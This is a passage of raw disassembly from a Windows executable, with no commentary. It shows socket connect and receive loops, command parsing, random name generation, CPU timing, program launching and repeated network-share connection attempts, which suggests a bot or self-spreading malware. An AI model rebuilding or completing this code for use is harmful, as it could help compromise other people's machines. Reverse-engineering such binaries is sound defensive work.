jle short loc_41B795
mov esi, ebp
loc_41B73F: ; CODE XREF: ___:0041B793j
cmp esi, ebx
jz short loc_41B795
cmp [esp+18h], bl
jz short loc_41B795
mov ecx, [esp+14h]
push ebx
push 1
push esi
push ecx
call near ptr 71AB615Ah
nop
cmp eax, ebx
jz short loc_41B7A4
cmp eax, 0FFFFFFFFh
jz short loc_41B7A4
call near ptr 71AB94DCh
nop
cmp eax, 2733h
jz short loc_41B79D
mov [edi+ebp+1], bl
mov al, [esi]
cmp al, 0Ah
jz short loc_41B780
cmp al, 0Dh
jz short loc_41B780
cmp al, bl
jnz short loc_41B788
loc_41B780: ; CODE XREF: ___:0041B776j
; ___:0041B77Aj
mov [edi+ebp-1], bl
mov [esp+18h], bl
loc_41B788: ; CODE XREF: ___:0041B77Ej
mov edx, [esp+1Ch]
inc edi
inc esi
lea eax, [edx-1]
cmp edi, eax
jl short loc_41B73F
loc_41B795: ; CODE XREF: ___:0041B73Bj
; ___:0041B741j ...
mov eax, [esp+1Ch]
mov [eax+ebp-1], bl
loc_41B79D: ; CODE XREF: ___:0041B76Cj
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41B7A4: ; CODE XREF: ___:0041B75Aj
; ___:0041B75Fj
pop edi
pop esi
pop ebp
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B7E0 proc near ; CODE XREF: sub_401280j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
xor ebx, ebx
xor esi, esi
dec eax
cmp eax, ebx
push edi
mov [ebp+0], bl
mov byte ptr [esp+10h+arg_4], 1
jle short loc_41B84A
mov edi, ebp
loc_41B7FF: ; CODE XREF: sub_41B7E0+68j
cmp edi, ebx
jz short loc_41B84A
cmp byte ptr [esp+10h+arg_4], bl
jz short loc_41B84A
mov ecx, [esp+10h+arg_0]
push ebx
push 1
push edi
push ecx
nop
call near ptr 71AB615Ah
test eax, eax
jz short loc_41B859
mov [esi+ebp+1], bl
mov al, [edi]
cmp al, 0Ah
jz short loc_41B82A
cmp al, bl
jnz short loc_41B83D
loc_41B82A: ; CODE XREF: sub_41B7E0+44j
cmp byte ptr [esi+ebp-1], 0Dh
jnz short loc_41B837
mov [esi+ebp-1], bl
jmp short loc_41B839
; ---------------------------------------------------------------------------
loc_41B837: ; CODE XREF: sub_41B7E0+4Fj
mov [edi], bl
loc_41B839: ; CODE XREF: sub_41B7E0+55j
mov byte ptr [esp+10h+arg_4], bl
loc_41B83D: ; CODE XREF: sub_41B7E0+48j
mov edx, [esp+10h+arg_8]
inc esi
inc edi
lea eax, [edx-1]
cmp esi, eax
jl short loc_41B7FF
loc_41B84A: ; CODE XREF: sub_41B7E0+1Bj
; sub_41B7E0+21j ...
mov eax, [esp+10h+arg_8]
pop edi
pop esi
mov [eax+ebp-1], bl
pop ebp
mov al, 1
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41B859: ; CODE XREF: sub_41B7E0+3Aj
pop edi
pop esi
pop ebp
xor al, al
pop ebx
retn
sub_41B7E0 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41B880: ; CODE XREF: ___:00401AF0j
push ebx
mov ebx, [esp+8]
push ebp
mov ebp, [esp+10h]
mov ecx, ebp
push esi
mov edx, ecx
push edi
xor eax, eax
mov edi, ebx
shr ecx, 2
rep stosd
mov ecx, edx
xor esi, esi
and ecx, 3
test ebp, ebp
rep stosb
jle short loc_41B8DB
loc_41B8A6: ; CODE XREF: ___:0041B8D9j
push 3
push 1
call sub_4021C6
; ---------------------------------------------------------------------------
add esp, 8
dec eax
jz short loc_41B8C7
dec eax
jz short loc_41B8C1
dec eax
jnz short loc_41B8D6
push 7Ah
push 61h
jmp short loc_41B8CB
; ---------------------------------------------------------------------------
loc_41B8C1: ; CODE XREF: ___:0041B8B6j
push 5Ah
push 41h
jmp short loc_41B8CB
; ---------------------------------------------------------------------------
loc_41B8C7: ; CODE XREF: ___:0041B8B3j
push 39h
push 30h
loc_41B8CB: ; CODE XREF: ___:0041B8BFj
; ___:0041B8C5j
call sub_4021C6
; ---------------------------------------------------------------------------
add esp, 8
mov [esi+ebx], al
loc_41B8D6: ; CODE XREF: ___:0041B8B9j
inc esi
cmp esi, ebp
jl short loc_41B8A6
loc_41B8DB: ; CODE XREF: ___:0041B8A4j
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B900 proc near ; CODE XREF: sub_401424j
rdtsc
retn
sub_41B900 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B920 proc near ; CODE XREF: sub_4017FDj
var_4 = dword ptr -4
sub esp, 8
push ebx
mov ebx, dword_5118D8
push ebp
push esi
push edi
xor ebp, ebp
loc_41B92F: ; CODE XREF: sub_41B920+43j
; sub_41B920+4Dj
call sub_401424
push 3E8h
mov esi, eax
mov edi, edx
call ebx
call sub_401424
sub eax, esi
push ebp
sbb edx, edi
push 186A0h
push edx
push eax
call sub_437C60
push ebp
push 0Ah
push edx
push eax
call sub_437C60
cmp edx, ebp
mov esi, eax
ja short loc_41B92F
jb short loc_41B96F
cmp esi, 0F4240h
ja short loc_41B92F
loc_41B96F: ; CODE XREF: sub_41B920+45j
push ebp
push 64h
push edx
push esi
call sub_437BE0
mov ecx, eax
cmp edx, ebp
mov eax, 64h
mov [esp+18h+var_4], ebp
ja short loc_41B9F9
jb short loc_41B98F
cmp ecx, 50h
jnb short loc_41B998
loc_41B98F: ; CODE XREF: sub_41B920+68j
mov eax, 4Bh
mov [esp+18h+var_4], ebp
loc_41B998: ; CODE XREF: sub_41B920+6Dj
cmp edx, ebp
ja short loc_41B9F9
jb short loc_41B9A3
cmp ecx, 47h
jnb short loc_41B9AC
loc_41B9A3: ; CODE XREF: sub_41B920+7Cj
mov eax, 42h
mov [esp+18h+var_4], ebp
loc_41B9AC: ; CODE XREF: sub_41B920+81j
cmp edx, ebp
ja short loc_41B9F9
jb short loc_41B9B7
cmp ecx, 37h
jnb short loc_41B9C0
loc_41B9B7: ; CODE XREF: sub_41B920+90j
mov eax, 32h
mov [esp+18h+var_4], ebp
loc_41B9C0: ; CODE XREF: sub_41B920+95j
cmp edx, ebp
ja short loc_41B9F9
jb short loc_41B9CB
cmp ecx, 26h
jnb short loc_41B9D4
loc_41B9CB: ; CODE XREF: sub_41B920+A4j
mov eax, 21h
mov [esp+18h+var_4], ebp
loc_41B9D4: ; CODE XREF: sub_41B920+A9j
cmp edx, ebp
ja short loc_41B9F9
jb short loc_41B9DF
cmp ecx, 1Eh
jnb short loc_41B9E8
loc_41B9DF: ; CODE XREF: sub_41B920+B8j
mov eax, 19h
mov [esp+18h+var_4], ebp
loc_41B9E8: ; CODE XREF: sub_41B920+BDj
cmp edx, ebp
ja short loc_41B9F9
jb short loc_41B9F3
cmp ecx, 0Ah
jnb short loc_41B9F9
loc_41B9F3: ; CODE XREF: sub_41B920+CCj
xor eax, eax
mov [esp+18h+var_4], ebp
loc_41B9F9: ; CODE XREF: sub_41B920+66j
; sub_41B920+7Aj ...
sub eax, ecx
pop edi
add eax, esi
pop esi
pop ebp
pop ebx
add esp, 8
retn
sub_41B920 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41BA50 proc near ; CODE XREF: sub_402040j
var_40 = dword ptr -40h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_41BA50
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 34h
mov al, byte_449729
push ebx
push esi
push edi
test al, al
mov [esp+4Ch+var_40], 0
jz loc_41BBAF
push ebp
lea ecx, [esp+50h+var_3C]
call sub_40142E
push 400h
lea ecx, [esp+54h+var_3C]
mov [esp+54h+var_4], 1
xor bl, bl
call sub_401C71
mov ebp, eax
call sub_401F0A
lea ecx, [esp+50h+var_3C]
call sub_4013E3
mov [esp+50h+arg_4], eax
lea eax, [esp+50h+arg_4]
push eax
push ebp
nop
call near ptr 2820000h
test eax, eax
jnz short loc_41BAE6
mov edi, offset byte_448F30
or ecx, 0FFFFFFFFh
repne scasb
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
loc_41BAE6: ; CODE XREF: sub_41BA50+74j
movsx ecx, byte ptr [ebp+0]
mov eax, 41h
loc_41BAEF: ; CODE XREF: sub_41BA50+A9j
cmp ecx, eax
jnz short loc_41BAF5
mov bl, 1
loc_41BAF5: ; CODE XREF: sub_41BA50+A1j
inc eax
cmp eax, 5Bh
jl short loc_41BAEF
mov eax, 61h
loc_41BB00: ; CODE XREF: sub_41BA50+BAj
cmp ecx, eax
jnz short loc_41BB06
mov bl, 1
loc_41BB06: ; CODE XREF: sub_41BA50+B2j
inc eax
cmp eax, 7Bh
jl short loc_41BB00
test bl, bl
jnz short loc_41BB32
mov edi, offset byte_448F30
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
loc_41BB32: ; CODE XREF: sub_41BA50+BEj
mov esi, dword_511AC8
call esi ; rand
cdq
mov ecx, 0Ah
idiv ecx
lea ecx, [esp+50h+var_3C]
push edx
call sub_401140
call esi ; rand
cdq
mov ecx, 0Ah
idiv ecx
lea ecx, [esp+50h+var_3C]
push edx
call sub_401140
call esi ; rand
cdq
mov ecx, 0Ah
idiv ecx
lea ecx, [esp+50h+var_3C]
push edx
call sub_401140
mov esi, [esp+50h+arg_0]
lea edx, [esp+50h+var_3C]
push edx
mov ecx, esi
call sub_4014D3
mov [esp+50h+var_40], 1
lea ecx, [esp+50h+var_3C]
mov byte ptr [esp+50h+var_4], 0
call sub_401226
pop ebp
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, [esp+40h+var_C]
mov large fs:0, ecx
add esp, 40h
retn
; ---------------------------------------------------------------------------
loc_41BBAF: ; CODE XREF: sub_41BA50+2Aj
lea ecx, [esp+4Ch+var_24]
call sub_40142E
mov ebx, 2
mov [esp+4Ch+var_4], ebx
nop
call near ptr 27F0C4Bh
push eax
nop
call near ptr 77C371BCh
mov edi, dword_511AC8
add esp, 4
call edi ; rand
cdq
mov ecx, 3
idiv ecx
lea ecx, [esp+4Ch+var_24]
mov esi, edx
mov edx, [esp+4Ch+arg_4]
push edx
add esi, 6
call sub_4015E1
test esi, esi
jle short loc_41BC4E
loc_41BBF8: ; CODE XREF: sub_41BA50+1FCj
lea ecx, [esp+4Ch+var_3C]
call sub_40142E
lea eax, [esp+4Ch+var_24]
lea ecx, [esp+4Ch+var_3C]
push eax
mov byte ptr [esp+50h+var_4], 3
call sub_401FDC
call edi ; rand
cdq
mov ecx, 1Ah
idiv ecx
lea ecx, [esp+4Ch+var_3C]
add edx, 61h
push edx
call sub_4017EE
push eax
lea edx, [esp+54h+var_24]
push offset dword_444E54
push edx
call sub_40102D
add esp, 10h
lea ecx, [esp+4Ch+var_3C]
mov byte ptr [esp+4Ch+var_4], bl
call sub_401226
dec esi
jnz short loc_41BBF8
loc_41BC4E: ; CODE XREF: sub_41BA50+1A6j
mov esi, [esp+4Ch+arg_0]
lea eax, [esp+4Ch+var_24]
push eax
mov ecx, esi
call sub_4014D3
lea ecx, [esp+4Ch+var_24]
mov [esp+4Ch+var_40], 1
mov byte ptr [esp+4Ch+var_4], 0
call sub_401226
mov ecx, [esp+4Ch+var_C]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 40h
retn
sub_41BA50 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 90h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41BD20: ; CODE XREF: ___:00401573j
mov al, [esp+4]
cmp al, 20h
jz short loc_41BD2F
cmp al, 9
jz short loc_41BD2F
xor al, al
retn
; ---------------------------------------------------------------------------
loc_41BD2F: ; CODE XREF: ___:0041BD26j
; ___:0041BD2Aj
mov al, 1
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41BD50: ; CODE XREF: ___:00401EF6j
mov eax, [esp+4]
push offset dword_444E5C
push eax
nop
call near ptr 77C3F010h
add esp, 8
test eax, eax
jz short loc_41BD74
push eax
call near ptr 77C40AB1h
nop
add esp, 4
mov al, 1
retn
; ---------------------------------------------------------------------------
loc_41BD74: ; CODE XREF: ___:0041BD65j
xor al, al
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41BD90 proc near ; CODE XREF: sub_401483j
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_20 = byte ptr -20h
arg_0 = dword ptr 4
sub esp, 30h
push ebx
push ebp
push esi
push edi
mov edi, [esp+40h+arg_0]
test edi, edi
jz loc_41BFEE
mov esi, offset byte_448F30
mov eax, edi
loc_41BDAA: ; CODE XREF: sub_41BD90+3Cj
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_41BDD2
test cl, cl
jz short loc_41BDCE
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_41BDD2
add eax, 2
add esi, 2
test cl, cl
jnz short loc_41BDAA
loc_41BDCE: ; CODE XREF: sub_41BD90+26j
xor eax, eax
jmp short loc_41BDD7
; ---------------------------------------------------------------------------
loc_41BDD2: ; CODE XREF: sub_41BD90+22j
; sub_41BD90+32j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41BDD7: ; CODE XREF: sub_41BD90+40j
test eax, eax
jz loc_41BFEE
push 20h
lea eax, [esp+44h+var_20]
push edi
push eax
nop
call near ptr 77C47A90h
mov edi, dword_511B00
lea ecx, [esp+4Ch+var_20]
push offset dword_4447F8
push ecx
call edi ; strtok
add esp, 14h
mov [esp+40h+var_30], eax
test eax, eax
jz loc_41BFEE
mov ebx, 1
lea esi, [esp+40h+var_2C]
loc_41BE17: ; CODE XREF: sub_41BD90+A4j
push offset dword_4447F8
push 0
call edi ; strtok
add esp, 8
mov [esi], eax
test eax, eax
jz loc_41BFEE
inc ebx
add esi, 4
cmp ebx, 4
jl short loc_41BE17
mov ebp, [esp+40h+var_30]
mov esi, offset dword_444E78
mov eax, ebp
loc_41BE41: ; CODE XREF: sub_41BD90+D3j
mov cl, [eax]
mov bl, [esi]
mov dl, cl
cmp cl, bl
jnz short loc_41BE69
test dl, dl
jz short loc_41BE65
mov cl, [eax+1]
mov bl, [esi+1]
mov dl, cl
cmp cl, bl
jnz short loc_41BE69
add eax, 2
add esi, 2
test dl, dl
jnz short loc_41BE41
loc_41BE65: ; CODE XREF: sub_41BD90+BDj
xor eax, eax
jmp short loc_41BE6E
; ---------------------------------------------------------------------------
loc_41BE69: ; CODE XREF: sub_41BD90+B9j
; sub_41BD90+C9j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41BE6E: ; CODE XREF: sub_41BD90+D7j
test eax, eax
jnz short loc_41BE7C
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 30h
retn
; ---------------------------------------------------------------------------
loc_41BE7C: ; CODE XREF: sub_41BD90+E0j
mov esi, offset dword_444E74
mov eax, ebp
loc_41BE83: ; CODE XREF: sub_41BD90+115j
mov cl, [eax]
mov bl, [esi]
mov dl, cl
cmp cl, bl
jnz short loc_41BEAB
test dl, dl
jz short loc_41BEA7
mov cl, [eax+1]
mov bl, [esi+1]
mov dl, cl
cmp cl, bl
jnz short loc_41BEAB
add eax, 2
add esi, 2
test dl, dl
jnz short loc_41BE83
loc_41BEA7: ; CODE XREF: sub_41BD90+FFj
xor eax, eax
jmp short loc_41BEB0
; ---------------------------------------------------------------------------
loc_41BEAB: ; CODE XREF: sub_41BD90+FBj
; sub_41BD90+10Bj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41BEB0: ; CODE XREF: sub_41BD90+119j
mov edi, [esp+40h+var_2C]
test eax, eax
jnz short loc_41BEFA
mov esi, offset dword_444E70
mov edx, edi
loc_41BEBF: ; CODE XREF: sub_41BD90+151j
mov al, [edx]
mov cl, [esi]
mov bl, al
cmp al, cl
jnz short loc_41BEE7
test bl, bl
jz short loc_41BEE3
mov cl, [edx+1]
mov al, [esi+1]
mov bl, cl
cmp cl, al
jnz short loc_41BEE7
add edx, 2
add esi, 2
test bl, bl
jnz short loc_41BEBF
loc_41BEE3: ; CODE XREF: sub_41BD90+13Bj
xor edx, edx
jmp short loc_41BEEC
; ---------------------------------------------------------------------------
loc_41BEE7: ; CODE XREF: sub_41BD90+137j
; sub_41BD90+147j
sbb edx, edx
sbb edx, 0FFFFFFFFh
loc_41BEEC: ; CODE XREF: sub_41BD90+155j
test edx, edx
jnz short loc_41BEFA
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 30h
retn
; ---------------------------------------------------------------------------
loc_41BEFA: ; CODE XREF: sub_41BD90+126j
; sub_41BD90+15Ej
mov esi, offset dword_444E6C
mov edx, ebp
loc_41BF01: ; CODE XREF: sub_41BD90+193j
mov al, [edx]
mov cl, [esi]
mov bl, al
cmp al, cl
jnz short loc_41BF29
test bl, bl
jz short loc_41BF25
mov cl, [edx+1]
mov al, [esi+1]
mov bl, cl
cmp cl, al
jnz short loc_41BF29
add edx, 2
add esi, 2
test bl, bl
jnz short loc_41BF01
loc_41BF25: ; CODE XREF: sub_41BD90+17Dj
xor edx, edx
jmp short loc_41BF2E
; ---------------------------------------------------------------------------
loc_41BF29: ; CODE XREF: sub_41BD90+179j
; sub_41BD90+189j
sbb edx, edx
sbb edx, 0FFFFFFFFh
loc_41BF2E: ; CODE XREF: sub_41BD90+197j
test edx, edx
jnz short loc_41BF74
mov esi, offset dword_444E68
mov edx, edi
loc_41BF39: ; CODE XREF: sub_41BD90+1CBj
mov al, [edx]
mov cl, [esi]
mov bl, al
cmp al, cl
jnz short loc_41BF61
test bl, bl
jz short loc_41BF5D
mov cl, [edx+1]
mov al, [esi+1]
mov bl, cl
cmp cl, al
jnz short loc_41BF61
add edx, 2
add esi, 2
test bl, bl
jnz short loc_41BF39
loc_41BF5D: ; CODE XREF: sub_41BD90+1B5j
xor edx, edx
jmp short loc_41BF66
; ---------------------------------------------------------------------------
loc_41BF61: ; CODE XREF: sub_41BD90+1B1j
; sub_41BD90+1C1j
sbb edx, edx
sbb edx, 0FFFFFFFFh
loc_41BF66: ; CODE XREF: sub_41BD90+1CFj
test edx, edx
jnz short loc_41BF74
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 30h
retn
; ---------------------------------------------------------------------------
loc_41BF74: ; CODE XREF: sub_41BD90+1A0j
; sub_41BD90+1D8j
mov esi, offset dword_444E64
mov ecx, ebp
loc_41BF7B: ; CODE XREF: sub_41BD90+20Dj
mov al, [ecx]
mov bl, [esi]
mov dl, al
cmp al, bl
jnz short loc_41BFA3
test dl, dl
jz short loc_41BF9F
mov al, [ecx+1]
mov bl, [esi+1]
mov dl, al
cmp al, bl
jnz short loc_41BFA3
add ecx, 2
add esi, 2
test dl, dl
jnz short loc_41BF7B
loc_41BF9F: ; CODE XREF: sub_41BD90+1F7j
xor ecx, ecx
jmp short loc_41BFA8
; ---------------------------------------------------------------------------
loc_41BFA3: ; CODE XREF: sub_41BD90+1F3j
; sub_41BD90+203j
sbb ecx, ecx
sbb ecx, 0FFFFFFFFh
loc_41BFA8: ; CODE XREF: sub_41BD90+211j
test ecx, ecx
jnz short loc_41BFEE
mov esi, offset dword_444E60
mov eax, edi
loc_41BFB3: ; CODE XREF: sub_41BD90+245j
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_41BFDB
test cl, cl
jz short loc_41BFD7
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_41BFDB
add eax, 2
add esi, 2
test cl, cl
jnz short loc_41BFB3
loc_41BFD7: ; CODE XREF: sub_41BD90+22Fj
xor eax, eax
jmp short loc_41BFE0
; ---------------------------------------------------------------------------
loc_41BFDB: ; CODE XREF: sub_41BD90+22Bj
; sub_41BD90+23Bj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41BFE0: ; CODE XREF: sub_41BD90+249j
test eax, eax
jnz short loc_41BFEE
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 30h
retn
; ---------------------------------------------------------------------------
loc_41BFEE: ; CODE XREF: sub_41BD90+Dj
; sub_41BD90+49j ...
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 30h
retn
sub_41BD90 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41C0A0 proc near ; CODE XREF: sub_402022j
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 10h
push ebx
push esi
push 6
push 1
push 2
xor bl, bl
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_41C108
cmp esi, 0FFFFFFFFh
jz short loc_41C108
mov eax, [esp+18h+arg_0]
push eax
nop
call near ptr 71AB2BF4h
mov ecx, [esp+18h+arg_4]
mov [esp+18h+var_C], eax
push ecx
nop
call near ptr 71AB2B66h
lea edx, [esp+18h+var_10]
push 10h
push edx
push esi
mov [esp+24h+var_E], ax
mov [esp+24h+var_10], 2
nop
call near ptr 71AB406Ah
test eax, eax
jnz short loc_41C0F9
mov bl, 1
loc_41C0F9: ; CODE XREF: sub_41C0A0+55j
push esi
nop
call near ptr 71AB9639h
mov al, bl
pop esi
pop ebx
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_41C108: ; CODE XREF: sub_41C0A0+18j
; sub_41C0A0+1Dj
pop esi
xor al, al
pop ebx
add esp, 10h
retn
sub_41C0A0 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41C130 proc near ; CODE XREF: sub_401299j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push 0
push 0
push eax
push ecx
push offset aOpen ; "open"
push 0
call near ptr 7CA41110h
nop
cmp eax, 20h
setnl al
retn
sub_41C130 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41C170 proc near ; CODE XREF: sub_402167j
var_54 = byte ptr -54h
var_44 = dword ptr -44h
var_14 = word ptr -14h
arg_0 = dword ptr 4
sub esp, 54h
push edi
mov ecx, 11h
xor eax, eax
lea edi, [esp+58h+var_44]
rep stosd
mov [esp+58h+var_14], ax
lea eax, [esp+58h+var_54]
mov edx, [esp+58h+arg_0]
lea ecx, [esp+58h+var_44]
push eax
push ecx
push 0
push 0
push 28h
push 0
push 0
push 0
push edx
push 0
mov [esp+80h+var_44], 44h
call near ptr 2800565h
nop
test eax, eax
setnle al
pop edi
add esp, 54h
retn
sub_41C170 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41C1E0: ; CODE XREF: ___:00401884j
sub esp, 354h
mov eax, off_444E84
mov ecx, off_444E88
mov [esp+0], eax
mov al, byte_448F30
push esi
push edi
mov [esp+0Ch], ecx
mov [esp+14h], al
mov ecx, 45h
xor eax, eax
lea edi, [esp+15h]
mov edx, dword_444E8C
rep stosd
mov ecx, off_444E7C
mov [esp+10h], edx
mov dx, word_444E80
mov [esp+12Ch], ecx
stosw
stosb
mov ecx, 8Ah
xor eax, eax
lea edi, [esp+132h]
mov [esp+130h], dx
rep stosd
mov ecx, [esp+360h]
push 0FFh
stosw
lea eax, [esp+18h]
xor edi, edi
push eax
push 0FFFFFFFFh
push ecx
push edi
push edi
nop
call near ptr 27C0000h
mov esi, dword_511AB8
lea edx, [esp+14h]
lea eax, [esp+12Ch]
push edx
push eax
call esi ; wcscat
lea ecx, [esp+10h]
lea edx, [esp+134h]
push ecx
push edx
call esi ; wcscat
mov esi, [esp+374h]
add esp, 10h
lea eax, [esp+12Ch]
push edi
push offset dword_50DB4C
push offset dword_50DB4C
push esi
mov [esi+4], edi
mov [esi+10h], edi
mov [esi+14h], eax
mov [esi+1Ch], edi
call sub_43829E
; ---------------------------------------------------------------------------
cmp eax, 5
jz short loc_41C2C8
cmp eax, 4C3h
jnz short loc_41C2D1
loc_41C2C8: ; CODE XREF: ___:0041C2BFj
push edi
push edi
push edi
push esi
call sub_43829E
; ---------------------------------------------------------------------------
loc_41C2D1: ; CODE XREF: ___:0041C2C6j
pop edi
cmp eax, 5
pop esi
jz short loc_41C2E8
cmp eax, 4C3h
jz short loc_41C2E8
mov al, 1
add esp, 354h
retn
; ---------------------------------------------------------------------------
loc_41C2E8: ; CODE XREF: ___:0041C2D6j
; ___:0041C2DDj
xor al, al
add esp, 354h
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41C350: ; CODE XREF: ___:00401EE7j
sub esp, 354h
mov eax, off_444E84
mov ecx, off_444E88
mov [esp+0], eax
mov al, byte_448F30
push esi
push edi
mov [esp+0Ch], ecx
mov [esp+14h], al
mov ecx, 45h
xor eax, eax
lea edi, [esp+15h]
mov edx, dword_444E8C
rep stosd
mov ecx, off_444E7C
mov [esp+10h], edx
mov dx, word_444E80
mov [esp+12Ch], ecx
stosw
stosb
mov ecx, 8Ah
xor eax, eax
lea edi, [esp+132h]
mov [esp+130h], dx
rep stosd
mov ecx, [esp+360h]
push 0FFh
stosw
lea eax, [esp+18h]
push eax
push 0FFFFFFFFh
push ecx
push 0
push 0
call near ptr 27C0000h
nop
mov esi, dword_511AB8
lea edx, [esp+14h]
lea eax, [esp+12Ch]
push edx
push eax
call esi ; wcscat
lea ecx, [esp+10h]
lea edx, [esp+134h]
push ecx
push edx
call esi ; wcscat
add esp, 10h
lea eax, [esp+12Ch]
push 0
push 0
push eax
call sub_4382A4
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_41C438
mov esi, dword_5118D8
loc_41C41C: ; CODE XREF: ___:0041C436j
push 7D0h
call esi
push 0
lea ecx, [esp+130h]
push 0
push ecx
call sub_4382A4
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_41C41C
loc_41C438: ; CODE XREF: ___:0041C414j
pop edi
mov al, 1
pop esi
add esp, 354h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_41C490 proc near ; CODE XREF: sub_401D93j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41C490
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 0Ch
push 4
push 4Fh
push 10h
push 14h
lea eax, [esp+5Ch+var_3C]
push 6
mov esi, ecx
push eax
call sub_4019C4
add esp, 20h
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017EE
lea ecx, [esi+0BCh]
push eax
push ecx
mov ecx, offset dword_449118
call sub_40159B
sub_41C490 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 5
push 18h
push 5
push 4Fh
push 10h
push 14h
lea edx, [esp+24h]
push 6
push edx
call sub_4019C4
add esp, 24h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 1
call sub_4017EE
push eax
lea eax, [esi+118h]
push eax
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 10h
push 15h
push 4Fh
push 10h
push 14h
lea ecx, [esp+20h]
push 6
push ecx
call sub_4019C4
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 2
call sub_4017EE
lea edx, [esi+0EAh]
push eax
push edx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 0Ch
push 4
push 4Fh
push 10h
push 14h
push 14h
lea eax, [esp+24h]
push 8
push eax
call sub_4019C4
add esp, 24h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 3
call sub_4017EE
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 5
push 18h
push 5
push 4Fh
push 10h
push 14h
push 14h
lea edx, [esp+28h]
push 8
push edx
call sub_4019C4
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 4
call sub_4017EE
push eax
lea eax, [esi+60h]
push eax
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 5
push 14h
push 1
push 4
push 10h
push 15h
push 4Fh
push 10h
push 14h
push 14h
